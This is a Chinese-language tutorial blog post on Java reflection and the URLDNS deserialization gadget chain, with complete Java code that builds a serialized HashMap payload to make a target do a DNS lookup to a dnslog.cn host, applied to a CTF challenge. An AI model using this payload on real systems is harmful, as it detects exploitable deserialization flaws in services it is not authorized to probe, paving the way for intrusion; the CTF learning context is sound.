Java反序列化之反射和URLDNS

2024/01/22 18:38:09

前言

学习视频从这里开始看:

快捷键

这里有几个快捷键,可以记忆一下。
比如说查看结构:alt+7
image.png
查看层次结构:ctrl + H
image.png

URLDNS 链子构建

代码分析

URL有继承Serializable就证明他是可以被序列化的:
image.png
而且需要使用一个较为常见的函数hashCode:
image.png
调用了handler的hashCode函数,
image.png
其中的getHostAddress就会对域名进行解析,然后就可以利用。
dnslog生成一个网址来测试。

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {

    static String tarURL = "http://qdgj5w.dnslog.cn";

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        URL url = new URL(tarURL);
        hashMap.put(url, 1);
        serialize(hashMap);
    }
}

正常来说当运行 main 函数时不会访问URL,但实际上运行的结果是会访问URL的。
image.png
为什么呢,因为HashMap的put方法中就已经调用了hashCode函数:

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
}

其中的hash():

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

hashCode会被初始化设定为-1.
image.png
如果在put方法中执行一次,导致其不再是-1,就无法进入后面的handler的hashCode。
image.png
这就会导致不执行handler的hashCode。
也就是:

设定 hashCode = -1
↓
hashmap.put(url, 1);
↓
hashcode = url的hashCode

无法在serialize中触发。
我们可以测试一下在发序列化中是否触发:

class Deserialize {
    static String filename = "ser.bin";
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        deserialize(filename);
    }
}

运行之后并没有收到请求。
image.png
也就是说我们目前的问题就变成了:

HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        // * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
        URL url = new URL(tarURL);
        hashMap.put(url, 1);
        // * 在这里将hashCode改回-1
        serialize(hashMap);

其中这里将hashCode改回1就用到了反射,那反射是什么呢?

正射和反射

要想知道什么是反射,那就要先了解什么是正射:

Player boogipop = new Player();
boogipop.playGame("GENSHIN");

也就是先实例化对象,然后对对象进行操作。
而反射与正射不同,比如你并不知道原来所实例化的对象是什么。

Class class1 = boogipop.getClass();
Method method1 = class1.getMethod("playGame", String.class);
Constructor constructor = class1.getConstructor();
Object object = constructor.newInstance();
method1.invoke(object, "GENSHIN");

示例代码:

class ReflectionTest {
    public static void main(String[] args) {
        Person person = new Person();
        Class c = person.getClass();
        // * 反射就是对Class进行操作
        // * 从抽象类Class中实例化对象
        // c.newInstance();
        // * 获取构造器 比如需要传入什么参数
        Constructor constructor = c.getConstructor(String.class, int.class);
        // * 传入参数,生成对象
        Person person = (Person) constructor.newInstance("Boogipop", 6);
        System.out.println(person);
        // * 获取参数
        Field[] personFields = c.getFields();
        // * 获取所有参数 包括private protected等
        Field[] personFields1 = c.getDeclaredFields();
        for (Field f:personFields){
            System.out.println(f);
        }
        // * 根据变量名获取
        Field nameField = c.getField("name");
        // * 允许访问
        nameField.setAccessible(true);
        nameField.set(person, "Berial");
        System.out.println(person);
        // * 调用方法
        Method[] method = c.getMethods();
        for (Method method1:method){
            System.out.println(method1);
        }
        // * 获取方法
        Method actionMethod = c.getMethod("playGame", String.class);
        // * 执行方法
        actionMethod.invoke(person, "GENSHIN");
    }
}

修改代码

知道了反射,就可以使用反射修改其中的hashCode。
也就是这样:

public static void main(String[] args) throws Exception{
    HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
    // * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
    // * 如果hashCode已经是-1了就不会发起请求
    URL url = new URL(tarURL);
    Class c = url.getClass();
    Field hashCode = c.getDeclaredField("hashCode");
    hashCode.setAccessible(true);
    // 随便赋值一个不是-1就行
    hashCode.set(url, 1);
    hashMap.put(url, 1);
    // * 在这里将hashCode改回-1
    hashCode.set(url, -1);
    serialize(hashMap);
}

在反序列化之后我们才收到请求:
image.png
完整代码:

import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
    // * 记得去掉后面的/
    static String tarURL = "http://test";

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        // * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
        // * 如果hashCode已经是-1了就不会发起请求
        URL url = new URL(tarURL);
        Class c = url.getClass();
        Field hashCode = c.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        // 随便赋值一个不是-1就行
        hashCode.set(url, 1);
        hashMap.put(url, 1);
        // * 在这里将hashCode改回-1
        hashCode.set(url, -1);
        serialize(hashMap);
    }
}

class Deserialize {
    static String filename = "ser.bin";
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        deserialize(filename);
    }
}

测试

ctfshow web846

image.png
修改serialize代码:

public static void serialize(Object obj) throws IOException{
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.flush();
        objectOutputStream.close();
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
    }

来方便查看输出的内容。
post传入输出的内容即可:
image.png